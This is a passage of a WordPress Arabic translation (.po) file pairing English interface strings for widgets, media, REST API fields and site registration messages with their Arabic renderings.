msgid "Did you know there is a &#8220;Custom HTML&#8221; widget now? You can find it by pressing the &#8220;<a class=\"add-widget\" href=\"#\">Add a Widget</a>&#8221; button and searching for &#8220;HTML&#8221;. Check it out to add some custom code to your site!"
msgstr "مرحبا، هل علمت أن هناك ودجت &#8221;HTML مخصص&#8220; الآن؟ يمكنك العثور عليه بالضغط على زر &#8221;<a class=\"add-widget\" href=\"#\">أضف ودجت</a>&#8220; والبحث عن &#8221;HTML&#8220;. قم بتجربته لإضافة بعض الأكواد المخصصة إلى موقعك!"

#: wp-includes/widgets/class-wp-widget-text.php:532
msgid "New Custom HTML Widget"
msgstr "ودجت HTML مخصص جديد"

#: wp-includes/widgets/class-wp-widget-text.php:35
msgid "Arbitrary text."
msgstr "نص اختياري."

#: wp-includes/widgets/class-wp-widget-text.php:497
msgid "This widget may contain code that may work better in the &#8220;Custom HTML&#8221; widget. How about trying that widget instead?"
msgstr "قد يحتوي هذا الودجت على شفرة قد تعمل بشكل أفضل في الودجت &#8221;HTML مخصص&#8220;. ماذا عن المحاولة في تجربة هذا الودجت بدلاً عنه؟"

#: wp-includes/widgets/class-wp-widget-custom-html.php:54
msgid "Custom HTML"
msgstr "HTML مخصص"

#: wp-includes/widgets/class-wp-widget-custom-html.php:284
msgid "Some HTML tags are not permitted, including:"
msgstr "بعض وسوم HTML غير مسموح بها، تتضمن:"

#: wp-includes/widgets/class-wp-widget-custom-html.php:46
msgid "Arbitrary HTML code."
msgstr "كود HTML اختياري."

#: wp-includes/widgets/class-wp-widget-tag-cloud.php:199
msgid "Show tag counts"
msgstr "إظهار عدد الأوسمة"

#. translators: %s: Number of items (tags).
#. translators: %s: Number of comments.
#. translators: %s: Number of items.
#. translators: Number of items.
#. translators: %s: The remaining number of plugins.
#: wp-includes/category-template.php:878 wp-includes/category-template.php:889
#: wp-admin/includes/ajax-actions.php:544
#: wp-admin/includes/class-wp-list-table.php:975
#: wp-admin/includes/class-wp-list-table.php:1606 wp-admin/js/updates.js:1070
msgid "%s item"
msgid_plural "%s items"
msgstr[0] "لا توجد عناصر (%s)"
msgstr[1] "عنصر واحد (%s)"
msgstr[2] "عنصران (%s)"
msgstr[3] "%s عناصر"
msgstr[4] "%s عنصر"
msgstr[5] "%s عنصر"

#: wp-includes/widgets/class-wp-widget-media.php:495
msgctxt "label for button in the media widget"
msgid "Add Media"
msgstr "أضف ملف وسائط"

#: wp-includes/widgets/class-wp-widget-media-image.php:39
msgctxt "label for button in the image widget"
msgid "Add Image"
msgstr "أضف صورة"

#: wp-includes/widgets/class-wp-widget-media-video.php:39
msgctxt "label for button in the video widget"
msgid "Add Video"
msgstr "أضف فيديو"

#: wp-includes/widgets/class-wp-widget-media-audio.php:39
msgctxt "label for button in the audio widget"
msgid "Add Audio"
msgstr "أضف ملف صوتي"

#: wp-includes/media.php:4174 wp-admin/includes/media.php:3306
msgid "(no author)"
msgstr "(لا مؤلف)"

#: wp-includes/widgets/class-wp-widget-media.php:498
msgid "Add to Widget"
msgstr "الإضافة الى ودجت"

#: wp-includes/widgets/class-wp-widget-media.php:497
msgctxt "label for button in the media widget; should preferably not be longer than ~13 characters long"
msgid "Edit Media"
msgstr "تحرير ملف وسائط"

#: wp-includes/widgets/class-wp-widget-media.php:496
msgctxt "label for button in the media widget; should preferably not be longer than ~13 characters long"
msgid "Replace Media"
msgstr "تبديل ملف الوسائط"

#: wp-includes/widgets/class-wp-widget-media.php:477
msgid "A media item."
msgstr "ملف وسائط."

#. translators: %d: Widget count.
#: wp-includes/widgets/class-wp-widget-media-video.php:48
msgid "Video Widget (%d)"
msgid_plural "Video Widget (%d)"
msgstr[0] "ودجت لفيديو (%d)"
msgstr[1] "ودجت لفيديو (%d)"
msgstr[2] "ودجات لفيديو (%d)"
msgstr[3] "ودجات لفيديو (%d)"
msgstr[4] "ودجات لفيديو (%d)"
msgstr[5] "ودجات لفيديو (%d)"

#: wp-includes/widgets/class-wp-widget-media-video.php:49
msgid "Video Widget"
msgstr "ودجت الفيديو"

#: wp-includes/widgets/class-wp-widget-media.php:494
msgid "No media selected"
msgstr "لايوجد ملف وسائط تمّ تحديده"

#: wp-includes/widgets/class-wp-widget-media.php:506
msgid "Media Widget"
msgstr "ودجت الوسائط"

#: wp-includes/widgets/class-wp-widget-media-gallery.php:63
#: wp-includes/widgets/class-wp-widget-media.php:155
msgid "Title for the widget"
msgstr "عنوان الودجت"

#: wp-signup.php:942
msgid "The network currently disallows registrations."
msgstr "الشبكة لا تسمح بالتسجيل حاليًا."

#: wp-signup.php:937
msgid "Greetings Network Administrator!"
msgstr "تحية طيبة، مسؤول الشبكة!"

#: wp-signup.php:945
msgid "The network currently allows site registrations."
msgstr "الشبكة تسمح بتسجيل المواقع حاليًا."

#: wp-signup.php:948
msgid "The network currently allows user registrations."
msgstr "الشبكة تسمح بتسجيل المستخدمين حاليًا."

#: wp-signup.php:951
msgid "The network currently allows both site and user registrations."
msgstr "الشبكة تسمح بتسجيل المواقع والمستخدمين حاليًا."

#: wp-includes/widgets/class-wp-widget-media.php:149
msgid "URL to the media file"
msgstr "رابط ملف الوسائط"

#. translators: %d: Widget count.
#: wp-includes/widgets/class-wp-widget-media.php:505
msgid "Media Widget (%d)"
msgid_plural "Media Widget (%d)"
msgstr[0] "ودجت الوسائط (%d)"
msgstr[1] "ودجت الوسائط (%d)"
msgstr[2] "ودجت الوسائط (%d)"
msgstr[3] "ودجت الوسائط (%d)"
msgstr[4] "ودجت الوسائط (%d)"
msgstr[5] "ودجت الوسائط (%d)"

#: wp-includes/widgets/class-wp-widget-media.php:142
msgid "Attachment post ID"
msgstr "مُعرّف مرفق المقالة"

#: wp-includes/widgets/class-wp-widget-media.php:507
msgid "Looks like this is not the correct kind of file. Please link to an appropriate file instead."
msgstr "يبدو أن هذا النوع من الملفات غير مدعوم. فضلاً اختر ملف آخر ومناسب."

#. translators: %s: URL to Network Settings screen.
#: wp-signup.php:958
msgid "To change or disable registration go to your <a href=\"%s\">Options page</a>."
msgstr "لتغيير أو تعطيل التسجيل انتقل إلى <a href=\"%s\">صفحة الإعدادات</a>."

#. translators: %s: Video extension.
#: wp-includes/widgets/class-wp-widget-media-video.php:98
msgid "URL to the %s video source file"
msgstr "رابط ملف الفيديو من نوع %s"

#: wp-includes/widgets/class-wp-widget-media-image.php:41
msgctxt "label for button in the image widget; should preferably not be longer than ~13 characters long"
msgid "Edit Image"
msgstr "تحرير الصورة"

#: wp-includes/widgets/class-wp-widget-media-audio.php:41
msgctxt "label for button in the audio widget; should preferably not be longer than ~13 characters long"
msgid "Edit Audio"
msgstr "تحرير الصوت"

#: wp-includes/widgets/class-wp-widget-media-audio.php:40
msgctxt "label for button in the audio widget; should preferably not be longer than ~13 characters long"
msgid "Replace Audio"
msgstr "استبدال الصوت"

#: wp-includes/widgets/class-wp-widget-media-audio.php:49
msgid "Audio Widget"
msgstr "ودجت الصوت"

#. translators: %d: Widget count.
#: wp-includes/widgets/class-wp-widget-media-audio.php:48
msgid "Audio Widget (%d)"
msgid_plural "Audio Widget (%d)"
msgstr[0] "ودجت صوت (%d)"
msgstr[1] "ودجت صوت (%d)"
msgstr[2] "ودجت صوت (%d)"
msgstr[3] "ودجت صوت (%d)"
msgstr[4] "ودجت صوت (%d)"
msgstr[5] "ودجت صوت (%d)"

#. translators: %d: Widget count.
#: wp-includes/widgets/class-wp-widget-media-image.php:48
msgid "Image Widget (%d)"
msgid_plural "Image Widget (%d)"
msgstr[0] "ودجت صورة (%d)"
msgstr[1] "ودجت صورة (%d)"
msgstr[2] "ودجت صورة (%d)"
msgstr[3] "ودجت صورة (%d)"
msgstr[4] "ودجت صورة (%d)"
msgstr[5] "ودجت صورة (%d)"

#: wp-includes/widgets/class-wp-widget-media-image.php:40
msgctxt "label for button in the image widget; should preferably not be longer than ~13 characters long"
msgid "Replace Image"
msgstr "استبدال الصورة"

#: wp-includes/widgets/class-wp-widget-media-audio.php:197
#: wp-includes/widgets/class-wp-widget-media-image.php:354
#: wp-includes/widgets/class-wp-widget-media-video.php:240
msgid "Unable to preview media due to an unknown error."
msgstr "يتعذر معاينة الوسائط بسبب خطأ غير معروف."

#: wp-includes/customize/class-wp-customize-media-control.php:239
#: wp-includes/widgets/class-wp-widget-media-audio.php:38
msgid "No audio selected"
msgstr "لم يتم تحديد أي ملف صوتي"

#: wp-includes/widgets/class-wp-widget-media-audio.php:30
msgid "Displays an audio player."
msgstr "عرض مشغل الصوت."

#: wp-includes/widgets/class-wp-widget-media-video.php:41
msgctxt "label for button in the video widget; should preferably not be longer than ~13 characters long"
msgid "Edit Video"
msgstr "تحرير الفيديو"

#: wp-includes/widgets/class-wp-widget-media-video.php:30
msgid "Displays a video from the media library or from YouTube, Vimeo, or another provider."
msgstr "عرض فيديو من مكتبة الوسائط الخاصة بك أو من الـ YouTube، أو من الـ Vimeo، أو من أيّ مزوّد آخر."

#: wp-includes/widgets/class-wp-widget-media-image.php:49
msgid "Image Widget"
msgstr "ودجت الصورة"

#: wp-includes/widgets/class-wp-widget-media-image.php:30
msgid "Displays an image."
msgstr "لعرض صورة من مكتبة الوسائط الخاصة بك."

#: wp-includes/widgets/class-wp-widget-media-video.php:40
msgctxt "label for button in the video widget; should preferably not be longer than ~13 characters long"
msgid "Replace Video"
msgstr "استبدال الفيديو"

#. translators: %s: Audio extension.
#: wp-includes/widgets/class-wp-widget-media-audio.php:87
msgid "URL to the %s audio source file"
msgstr "رابط الملف الصوتي من نوع %s"

#: wp-includes/widgets/class-wp-widget-media-audio.php:50
msgid "Looks like this is not the correct kind of file. Please link to an audio file instead."
msgstr "يبدو أن هذا النوع من الملفات غير مدعوم. فضلاً اختر ملف صوتي آخر ومناسب."

#: wp-includes/widgets/class-wp-widget-media-gallery.php:41
msgctxt "label for button in the gallery widget; should not be longer than ~13 characters long"
msgid "Edit Gallery"
msgstr "تحرير المعرض"

#: wp-includes/widgets/class-wp-widget-media-gallery.php:39
msgctxt "label for button in the gallery widget; should not be longer than ~13 characters long"
msgid "Add Images"
msgstr "إضافة صور"

#. translators: 1: Parameter, 2: Maximum number.
#: wp-includes/rest-api.php:2516
msgid "%1$s must be less than or equal to %2$d"
msgstr "%1$s يجب أن يكون أقل أو يساوي %2$d"

#. translators: 1: Parameter, 2: Maximum number.
#: wp-includes/rest-api.php:2508
msgid "%1$s must be less than %2$d"
msgstr "%1$s يجب أن يكون أقل من %2$d"

#. translators: 1: Parameter, 2: Minimum number.
#: wp-includes/rest-api.php:2498
msgid "%1$s must be greater than or equal to %2$d"
msgstr "%1$s يجب أن يكون أكبر أو يساوي %2$d"

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:411
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:316
#: wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:160
msgid "The page number requested is larger than the number of pages available."
msgstr "رقم الصفحة المطلوبة اكبر من عدد صفحات المتوفرة."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:355
msgid "All features, supported by the post type."
msgstr "كافة المميزات مدعومة بواسطة نوع المقالة."

#. translators: 1: Parameter, 2: Minimum number.
#: wp-includes/rest-api.php:2490
msgid "%1$s must be greater than %2$d"
msgstr "%1$s يجب أن يكون أكبر من %2$d"

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1555
msgid "Limit result set to users with one or more specific slugs."
msgstr "حصر النتائج للأعضاء مع اسم أو عدة أسماء لطيفة مُعينة."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1171
msgid "Limit result set to terms with one or more specific slugs."
msgstr "حصر النتائج للفئات مع اسم أو عدة أسماء لطيفة مُعينة."

#: wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:224
#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:241
msgid "You need to define an include parameter to order by include."
msgstr "يجب عليك تعريف المُعامل include للترتيب حسب include."

#: wp-includes/class-wp-post-type.php:849
msgctxt "post"
msgid "Set featured image"
msgstr "تعيين الصورة البارزة للمقالة"

#: wp-includes/class-wp-post-type.php:849
msgctxt "page"
msgid "Set featured image"
msgstr "تعيين الصورة البارزة للصفحة"

#: wp-includes/class-wp-post-type.php:850
msgctxt "post"
msgid "Remove featured image"
msgstr "إزالة الصورة البارزة من المقالة"

#: wp-includes/class-wp-post-type.php:850
msgctxt "page"
msgid "Remove featured image"
msgstr "إزالة الصورة البارزة من الصفحة"

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:85
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:107
msgid "The password for the parent post of the comment (if the post is password protected)."
msgstr "كلمة المرور للمقال المرتبط مع التعليق (إذا كان المقال محمياً بكلمة مرور)."

#. translators: 1: $sanitize_callback, 2: register_setting()
#: wp-includes/option.php:2515
msgid "%1$s is deprecated. The callback from %2$s is used instead."
msgstr "%1$s تمّ هجرها. الدالة المسجلة بواسطة %2$s يتم استخدامها كبديل عنها."

#: wp-includes/class-wp-post-type.php:848
msgctxt "page"
msgid "Featured image"
msgstr "الصورة البارزة للصفحة"

#: wp-includes/class-wp-post-type.php:848
msgctxt "post"
msgid "Featured image"
msgstr "الصورة البارزة للمقالة"

#: wp-includes/class-wp-post-type.php:851
msgctxt "page"
msgid "Use as featured image"
msgstr "استخدام كصورة بارزة للصفحة"

#: wp-includes/class-wp-post-type.php:851
msgctxt "post"
msgid "Use as featured image"
msgstr "استخدام كصورة بارزة للمقالة"

#. translators: 1: Suggested width number, 2: Suggested height number.
#: wp-includes/media-template.php:306 wp-includes/media.php:4671
msgid "Suggested image dimensions: %1$s by %2$s pixels."
msgstr "أبعاد الصوره المقترحة: %1$s × %2$s بيكسل."

#: wp-includes/media.php:4618
msgid ""
"You are about to permanently delete this item from your site.\n"
"This action cannot be undone.\n"
" 'Cancel' to stop, 'OK' to delete."
msgstr ""
"أنت على وشك حذف هذا العنصر من موقعك بشكل دائم.\n"
"هذا الإجراء لا يمكن التراجع عنه.\n"
" \"إلغاء الأمر\" للإيقاف، أو \"موافق\" للحذف."

#: wp-includes/media.php:4619
msgid ""
"You are about to permanently delete these items from your site.\n"
"This action cannot be undone.\n"
" 'Cancel' to stop, 'OK' to delete."
msgstr ""
"أنت على وشك حذف هذه العناصر من موقعك بشكل دائم.\n"
"هذا الإجراء لا يمكن التراجع عنه.\n"
" \"إلغاء الأمر\" للتوقف، أو \"موافق\" للحذف."

#: wp-includes/comment.php:3574
msgid "Sorry, comments are not allowed for this item."
msgstr "عفوًا، التعليقات غير مسموح بها لهذا العنصر."

#: wp-includes/class-wp-oembed-controller.php:150
msgid "Sorry, you are not allowed to make proxied oEmbed requests."
msgstr "عفوًا غير مسموح لك بعمل طلبات على oEmbed."

#: wp-includes/class-wp-oembed-controller.php:99
msgid "Whether to perform an oEmbed discovery request for unsanctioned providers."
msgstr "ما إن كان يجب تنفيذ استعلام لاستكشاف oEmbed للمزودين غير المصرح لهم."

#: wp-includes/class-wp-oembed-controller.php:94
msgid "The maximum height of the embed frame in pixels."
msgstr "الحد الأقصى لإرتفاع الإطار المُضمّن بالبيكسل."

#: wp-includes/class-wp-oembed-controller.php:88
msgid "The maximum width of the embed frame in pixels."
msgstr "الحد الأقصى لعرض الإطار المُضمّن بالبيكسل."

#: wp-includes/class-wp-editor.php:1273
msgctxt "Short for green in RGB"
msgid "G"
msgstr "G"

#: wp-includes/class-wp-editor.php:1272
msgctxt "Short for red in RGB"
msgid "R"
msgstr "R"

#: wp-includes/class-wp-oembed-controller.php:45
#: wp-includes/class-wp-oembed-controller.php:73
msgid "The URL of the resource for which to fetch oEmbed data."
msgstr "الموقع الإلكتروني للمصدر الذي يتم جلب بيانات oEmbed منه."

#: wp-includes/class-wp-oembed-controller.php:79
msgid "The oEmbed format to use."
msgstr "صيغة oEmbed التي يجب استخدامها."

#: wp-includes/class-wp-editor.php:1274
msgctxt "Short for blue in RGB"
msgid "B"
msgstr "بايت"

#: wp-includes/class-wp-editor.php:1225
msgid "Date/time"
msgstr "تاريخ/وقت"

#: wp-includes/class-wp-editor.php:1227
#: wp-includes/js/dist/block-library.js:53506
#: wp-admin/includes/privacy-tools.php:472
msgid "Table of Contents"
msgstr "جدول المحتويات"

#: wp-includes/class-wp-editor.php:1231
msgid "Insert/edit media"
msgstr "إدراج/تعديل ملف الوسائط"

#: wp-includes/class-wp-customize-widgets.php:808
msgid "You can navigate to other pages on your site while using the Customizer to view and edit the widgets displayed on those pages."
msgstr "يمكنك التنقل الى الصفحات الأخرى في موقعك خلال استخدام التخصيص لمشاهدة وتحرير الودجات المعروضة على هذه الصفحات."

#. translators: %s: The total number of widget areas registered.
#: wp-includes/class-wp-customize-widgets.php:784
msgid "Your theme has %s widget area, but this particular page does not display it."
msgid_plural "Your theme has %s widget areas, but this particular page does not display them."
msgstr[0] "قالبك يحتوي على %s منطقة ودجت، ولكن هذه الصفحة تحديدًا لا تقوم بعرضه."
msgstr[1] "قالبك يحتوي على منطقة ودجت واحد، ولكن هذه الصفحة تحديدًا لا تقوم بعرضه."
msgstr[2] "قالبك يحتوي على منطقتان ودجت، ولكن هذه الصفحة تحديدًا لا تقوم بعرضهما."
msgstr[3] "قالبك يحتوي على %s مناطق ودجت، ولكن هذه الصفحة تحديدًا لا تقوم بعرضهم."
msgstr[4] "قالبك يحتوي على %s منطقة ودجت، ولكن هذه الصفحة تحديدًا لا تقوم بعرضهم."
msgstr[5] "قالبك يحتوي على %s منطقة ودجت، ولكن هذه الصفحة تحديدًا لا تقوم بعرضهم."

#: wp-includes/class-wp-editor.php:1228
msgid "Insert/edit code sample"
msgstr "إدراج/تحرير عينة كود"

#: wp-includes/class-wp-editor.php:1201
msgctxt "Id for link anchor (TinyMCE)"
msgid "Id"
msgstr "المُعرّف"

#: wp-includes/class-wp-editor.php:1200
msgid "Id should start with a letter, followed only by letters, numbers, dashes, dots, colons or underscores."
msgstr "المُعرف يجب أن يبدأ بحرف، متبوعاً فقط بأحرف، أرقام، شرطات، نقاط، فواصل منقوطة أو شرطات سفلية."

#: wp-includes/class-wp-customize-widgets.php:751
msgid "Your theme has 1 other widget area, but this particular page does not display it."
msgstr "قالبك يحتوي على منطقة ودجت أخرى، ولكن هذه الصفحة تحديدًا لا تقوم بعرضه."

#. translators: %s: The number of other widget areas registered but not
#. rendered.
#: wp-includes/class-wp-customize-widgets.php:760
msgid "Your theme has %s other widget area, but this particular page does not display it."
msgid_plural "Your theme has %s other widget areas, but this particular page does not display them."
msgstr[0] "قالبك يحتوي على %s منطقة ودجت أخرى، ولكن هذه الصفحة تحديدًا لا تقوم بعرضه."
msgstr[1] "قالبك يحتوي على منطقة ودجت أخرى، ولكن هذه الصفحة تحديدًا لا تقوم بعرضه."
msgstr[2] "قالبك يحتوي على منطقتان ودجت أخرى، ولكن هذه الصفحة تحديدًا لا تقوم بعرضهما."
msgstr[3] "قالبك يحتوي على %s مناطق ودجت أخرى، ولكن هذه الصفحة تحديدًا لا تقوم بعرضهم."
msgstr[4] "قالبك يحتوي على %s منطقة ودجت أخرى، ولكن هذه الصفحة تحديدًا لا تقوم بعرضهم."
msgstr[5] "قالبك يحتوي على %s منطقة ودجت أخرى، ولكن هذه الصفحة تحديدًا لا تقوم بعرضهم."

#: wp-includes/class-wp-customize-widgets.php:775
msgid "Your theme has 1 widget area, but this particular page does not display it."
msgstr "قالبك يحتوي على منطقة ودجت وحدة، ولكن هذه الصفحة تحديدًا لا تقوم بعرضه."

#: wp-includes/option.php:2166
msgid "This address is used for admin purposes, like new user notification."
msgstr "يستخدم هذا العنوان للأغراض الإدارية، مثل التنبيه بعضو جديد."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:111
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1020
msgid "Unique identifier for the term."
msgstr "مُعرف فريد للعنصر."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:376
msgid "REST base route for the post type."
msgstr "أساس مسار الـ REST لنوع المحتوى."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:313
msgid "All capabilities used by the post type."
msgstr "كل الصلاحيات المستخدمة بواسطة نوع المحتوى."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:337
msgid "Human-readable labels for the post type for various contexts."
msgstr "تسميات سهلة القراءة لنوع المحتوى في سياقات متنوعة."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:319
msgid "A human-readable description of the post type."
msgstr "وصف سهل القراءة لنوع المحتوى."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:58
#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:349
msgid "An alphanumeric identifier for the post type."
msgstr "مُعرف أبجدي رقمي لنوع المحتوى."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:58
#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:362
msgid "An alphanumeric identifier for the taxonomy."
msgstr "مُعرف أبجدي رقمي للفئة."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:325
msgid "Whether or not the post type should have children."
msgstr "ما إذا كان ينبغي أن يكون نوع المحتوى هرمي البنية (له أبناء)."

#: wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:122
msgid "Required to be true, as revisions do not support trashing."
msgstr "مطلوب أن تكون true، لأن المراجعات لا تدعم النقل لسلة المهملات."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:137
msgid "Required to be true, as terms do not support trashing."
msgstr "مطلوب أن تكون true، لأن العناصر لا تدعم النقل لسلة المهملات."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:58
#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:341
msgid "An alphanumeric identifier for the status."
msgstr "مُعرف أبجدي رقمي للحالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1582
msgid "Limit response to comments published before a given ISO8601 compliant date."
msgstr "حصر الرد على التعليقات المنشورة قبل تاريخ مُعطى ومتوافق مع معيار ISO8601."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:1553
msgid "Limit response to comments published after a given ISO8601 compliant date."
msgstr "حصر الرد على التعليقات المنشورة بعد تاريخ مُعطى ومتوافق مع معيار ISO8601."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1481
msgid "Avatar URLs for the user."
msgstr "رابط الصورة الرمزية للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1434
msgid "Roles assigned to the user."
msgstr "الأدوار المُسندة للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1411
msgid "The nickname for the user."
msgstr "الاسم المستعار لهذا المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1393
msgid "Description of the user."
msgstr "وصف المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1387
msgid "URL of the user."
msgstr "رابط المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1405
msgid "Locale for the user."
msgstr "لغة المستخدم المحلية."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1398
msgid "Author URL of the user."
msgstr "رابط المستخدم ككاتب."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1364
msgid "First name for the user."
msgstr "الاسم الأول للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1356
msgid "Display name for the user."
msgstr "اسم العرض للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1347
msgid "Login name for the user."
msgstr "اسم الدخول للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:1372
msgid "Last name for the user."
msgstr "الاسم الأخير للمستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:871
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:918
msgid "The user cannot be deleted."
msgstr "ﻻ يمكن حذف المستخدم."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:583
msgid "Error creating new user."
msgstr "حدث خطأ أثناء إنشاء مستخدم جديد."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1074
msgid "The parent term ID."
msgstr "الرقم المُعرف للعنصر الأب."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1044
msgid "HTML title for the term."
msgstr "عنوان HTML للعنصر."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:1037
msgid "URL of the term."
msgstr "رابط العنصر."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:767
msgid "The term cannot be deleted."
msgstr "ﻻ يمكن حذف العنصر."

#: wp-includes/class-wp-xmlrpc-server.php:2230
#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:201
#: wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:295
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:502
#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:649
msgid "Cannot set parent term, taxonomy is not hierarchical."
msgstr "ﻻ يمكن تعيين العنصر كأب، الفئة ليست هرمية."

#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:110
#: wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:137
msgid "Sorry, you are not allowed to view themes."
msgstr "عذرًا، غير مسموح لك استعراض القوالب."

#: wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:394
msgid "Term does not exist."
msgstr "العنصر غير موجود."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:356
msgid "The title for the taxonomy."
msgstr "عنوان الفئة."

#: wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:374
msgid "Types associated with the taxonomy."
msgstr "الأنواع المرتبطة بالفئة."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:343
msgid "The title for the post type."
msgstr "عنوان نوع المقالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:149
msgid "Cannot view post type."
msgstr "ﻻ يمكن عرض نوع المحتوى."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:144
#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:202
msgid "Invalid status."
msgstr "حالة غير صالحة."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:305
msgid "The title for the status."
msgstr "عنوان الحالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:154
msgid "Cannot view status."
msgstr "لا يمكن عرض الحالة."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:944
msgid "URL to the original attachment file."
msgstr "رابط ملف المرفق الأصلي."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:893
msgid "The attachment description."
msgstr "وصف المرفق."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:916
msgid "Attachment type."
msgstr "نوع المرفق."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:924
msgid "The attachment MIME type."
msgstr "نوع (MIME) المرفق."

#: wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:870
msgid "The attachment caption."
msgstr "شرح المرفق."

#: wp-includes/option.php:2243
msgid "Default post category."
msgstr "تصنيف المقالة الافتراضي."

#: wp-includes/option.php:2133
msgid "Site tagline."
msgstr "سطر وصف الموقع."

#. translators: Theme author name.
#: wp-includes/customize/class-wp-customize-theme-control.php:88
msgctxt "theme author"
msgid "By %s"
msgstr "بواسطة %s"

#. translators: New user notification email subject. 1: Network title, 2: New
#. user login.
#: wp-includes/ms-functions.php:1124
msgctxt "New user notification email subject"
msgid "[%1$s] Activate %2$s"
msgstr "[%1$s] تفعيل %2$s"

#. translators: New site notification email subject. 1: Network title, 2: New
#. site URL.
#: wp-includes/ms-functions.php:1012
msgctxt "New site notification email subject"
msgid "[%1$s] Activate %2$s"
msgstr "[%1$s] تفعيل %2$s"

#: wp-includes/blocks/rss.php:23 wp-includes/widgets.php:1581
#: wp-includes/widgets.php:1704
msgid "RSS Error:"
msgstr "خطأ RSS:"

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:580
msgid "Cannot create a comment with that type."
msgstr "ﻻ يمكن إنشاء تعليق من هذا النوع."

#: wp-includes/post.php:4595
msgid "Invalid page template."
msgstr "قالب صفحة غير صالح."

#: wp-includes/rest-api.php:2206
#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:728
#: wp-includes/user.php:4564 wp-admin/network/site-new.php:96
msgid "Invalid email address."
msgstr "عنوان بريد إلكتروني غير صالح."

#: wp-includes/post.php:4212 wp-includes/rest-api.php:2200
#: wp-includes/script-loader.php:1292 wp-admin/includes/post.php:191
msgid "Invalid date."
msgstr "تاريخ غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:744
msgid "Invalid slug."
msgstr "اسم لطيف غير صالح."

#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:599
#: wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:855
msgid "Invalid comment content."
msgstr "محتوى التعليق غير صالح."

#: wp-includes/rest-api/class-wp-rest-server.php:407
msgid "Invalid JSONP callback function."
msgstr "دالة JSONP غير صالحة"

#: wp-includes/theme.php:1652
msgid "Video is playing."
msgstr "الفيديو في حالة تشغيل."

#: wp-includes/theme.php:1651
msgid "Video is paused."
msgstr "الفيديو توقف مؤقتًا."

#: wp-includes/theme.php:2252
msgctxt "Theme starter content"
msgid "Archives"
msgstr "الآرشيفات"

#: wp-includes/theme.php:2404
msgctxt "Theme starter content"
